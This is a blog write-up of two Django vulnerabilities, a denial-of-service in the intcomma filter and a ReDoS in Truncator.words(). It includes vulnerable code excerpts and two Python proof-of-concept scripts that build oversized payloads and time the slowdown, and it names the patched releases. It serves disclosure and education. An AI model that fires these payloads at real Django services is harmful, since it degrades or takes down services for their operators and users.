Review for Recent Django Security Issues - CVE-2024-24680, CVE-2024-27351

Review for Recent Django Security Issues - CVE-2024-24680, CVE-2024-27351
Sunset in Gangnam, Seoul Korea 🇰🇷

CVE-2024-24680:
Potential denial-of-service in intcomma template filter

TL;DR

The intcomma template filter was subject to a potential denial-of-service attack when used with very long strings.

Your Django server can be under affected denial-of-service issue if you have the code like below, that intcomma template filter uses the value user provided directly.

# [app]/views.py
from django.shortcuts import render

def test_view(request):
    foo = request.GET.get('foo', '') # the value user provided directly
    return render(request, 'template.html', {'foo': foo})
[app]/views.py
<html>
    <!-- `intcomma` is using user-provided value -->
    <p>{{ foo | intcomma }}</p>
</html>
[app]/templates/template.html

Details:

Located in the django/conrib/humanize/templatetags/humanize.py file, the intcomma template filter is designed to convert an integer into a string, inserting commas every three digits for readability.

Upon the code [1], we can know that it uses a regular expression to catch the last consecutive three digits and insert a comma. We should remember that the regex ^(-?\d+) could be greedy.

# django/conrib/humanize/templatetags/humanize.py

@register.filter(is_safe=True)
def intcomma(value, use_l10n=True):
    """
    Convert an integer to a string containing commas every three digits.
    For example, 3000 becomes '3,000' and 45000 becomes '45,000'.
    """
    if use_l10n:
        try:
            if not isinstance(value, (float, Decimal)):
                value = int(value)
        except (TypeError, ValueError):
            return intcomma(value, False)
        else:
            return number_format(value, use_l10n=True, force_grouping=True)
    orig = str(value)
    new = re.sub(r"^(-?\d+)(\d{3})", r"\g<1>,\g<2>", orig) # [1]
    if orig == new:
        return new
    else:
        return intcomma(new, use_l10n) # [2]

The process is then repeated recursively to handle the previous remaining numbers in the code [2].

Due to the recursive nature of this function, passing a large number as an argument can cause significant delays and consume substantial computing resources. This is because the function has an O(n^2) time complexity. This issue becomes evident when examining the Proof of Concept (PoC) code attached below.

#!/usr/bin/env python3

import time
from django.contrib.humanize.templatetags.humanize import intcomma


MAX_LENGTH = 65535

payload = "123" * (MAX_LENGTH // 3) + "a"
print('[INFO] %d bytes of payload' % len(payload))

start_time = time.time()
try:
    intcomma(payload)
except RecursionError:
    pass
finally:
    end_time = time.time()

print('[INFO] intcomma() took %lf seconds' % (end_time - start_time))

The impact of this vulnerability may vary depending on the computing environment. In my tests using an AMD Ryzen 7 3700X with 32GB RAM, I observed a notable delay of approximately 0.45 seconds.

Impact:

This security issue can seriously waste server resources, causing significant disruptions to the service.

Django security releases issued: 5.0.2, 4.2.10, and 3.2.24
Posted by Natalia Bidart on February 6, 2024
NVD - CVE-2024-24680


CVE-2024-27351: Potential ReDoS in Django's Truncator

TL;DR

Potential regular expression denial-of-service in django.utils.text.Truncator.words()

Your Django-based service might be vulnerable to denial-of-service attacks if you have code that uses Truncator.words() with the html flag set to True and directly incorporates user-provided input like below.

# [app]/views.py
from django.utils.text import Truncator


def test_view(request):
    post_id = request.GET.get('id', 1)
    post = PostModel.objects.get(id=post_id)

    # BOOM! This will cause a DoS
    desciption = Truncator(post.description).words(30, html=True)

    context = {
        'object': post,
        'desciption': desciption,
    }

    return render(request, 'template.html', context)
[app]/views.py

Details:

In the code snippet from django/utils/text.py, at code reference [1], there is the words() method of the Truncator class. When called it with the html flag set to True, this method internally invokes the _truncate_html() method declared in same class.

# django/utils/text.py

class Truncator(SimpleLazyObject):
    # ...
    def words(self, num, truncate=None, html=False):
        self._setup()
        length = int(num)
        if html:
            return self._truncate_html(
                length, truncate, self._wrapped, length, True
            )  # [1]
        return self._text_words(length, truncate)

The method _truncate_html(), which used at code reference [1], is designed to limit the length of HTML text based on given length arguments. Here's a closer look at the code:

# django/utils/text.py

re_words = _lazy_re_compile(r"<[^>]+?>|([^<>\s]+)", re.S)

class Truncator(SimpleLazyObject):
    def _truncate_html(self, length, truncate, text, truncate_len, words):
        if words and length <= 0:
            return ""
        
        size_limited = False
        # self.MAX_LENGTH_HTML = 5_000_000
        if len(text) > self.MAX_LENGTH_HTML: # [4]
            text = text[: self.MAX_LENGTH_HTML]
            size_limited = True

        regex = re_words if words else re_chars # [2]

        while current_len <= length:
            m = regex.search(text, pos) # [3]
	    # ...

The function _truncate_html() uses regular expressions variable named re_words to identify words within HTML, allowing for the truncation of text to a specified length. You can find that this function stores re_words at code ref [2] and use it with search() method at [3].

However, this implementation has a critical security issue. Because the pattern /<[^>]+?>|([^<>\s]+)/ is prone to Regular Expression Denial of Service (ReDoS) attacks. Let's dive into why this regex is vulnerable to ReDoS.

  1. <[^>]+?>: This part of the expression matches any sequence of characters between the angle brackets < and >. The + operator indicates that the preceding character (in this case, any character that is not >) must appear one or more times. The ? operator makes the quantifier preceding it lazy, meaning it matches the fewest characters possible.
  2. ([^<>\s]+): This segment matches one or more characters that are not angle brackets, < or >, and not whitespace characters. The + operator here again indicates that the preceding character set must appear one or more times.

The vulnerability lies within the first pattern, <[^>]+?>. The segment [^>]+ denotes repeating any character except > one or more times. If the input string lacks a > character, this pattern could potentially match indefinitely, leading to a ReDoS attack by causing excessive backtracking.

I could notice that the number of processing steps increases by 5 for each character added which matches the regular expression [^>]+ according to regex101. And considering code ref [4], we can find that this vulnerable regex string is available to meet 5,000,000 bytes of strings. 😮😮

This inefficiency would expose the system to potential denial-of-service, where an attacker crafts input to exploit this vulnerability, leading to performance degradation or service unavailability.

To reproduce the Regular Expression Denial of Service (ReDoS) vulnerability within the Truncator.words() method of Django, you can use the following Proof of Concept (PoC) code:

from django.utils.text import Truncator
import time

MAX_LENGTH = 65535

payload = '<' * MAX_LENGTH
print('[INFO] %d bytes of payload' % len(payload))

start_time = time.time()
Truncator(payload).words(3, truncate='...', html=True)
end_time = time.time()

print('[INFO] Truncator().words() took %lf seconds' % (end_time - start_time))

This code essentially generates a large payload composed of repeated characters that can trigger the ReDoS.

And.. the result!

In a specific test environment utilizing an AMD Ryzen 7 3700X CPU with 32GB RAM, processing the payload resulted in a noticeable delay of about 42 seconds. The actual impact may vary across different computing environments, but this example highlights the importance of addressing such vulnerabilities to maintain application performance and security.

Impact:

This security issue can seriously waste server resources, causing significant disruptions to the service.

CVE -CVE-2024-27351
The mission of the CVE® Program is to identify, define, and catalog publicly disclosed cybersecurity vulnerabilities.
Django security releases issued: 5.0.3, 4.2.11, and 3.2.25
Posted by Mariusz Felisiak on March 4, 2024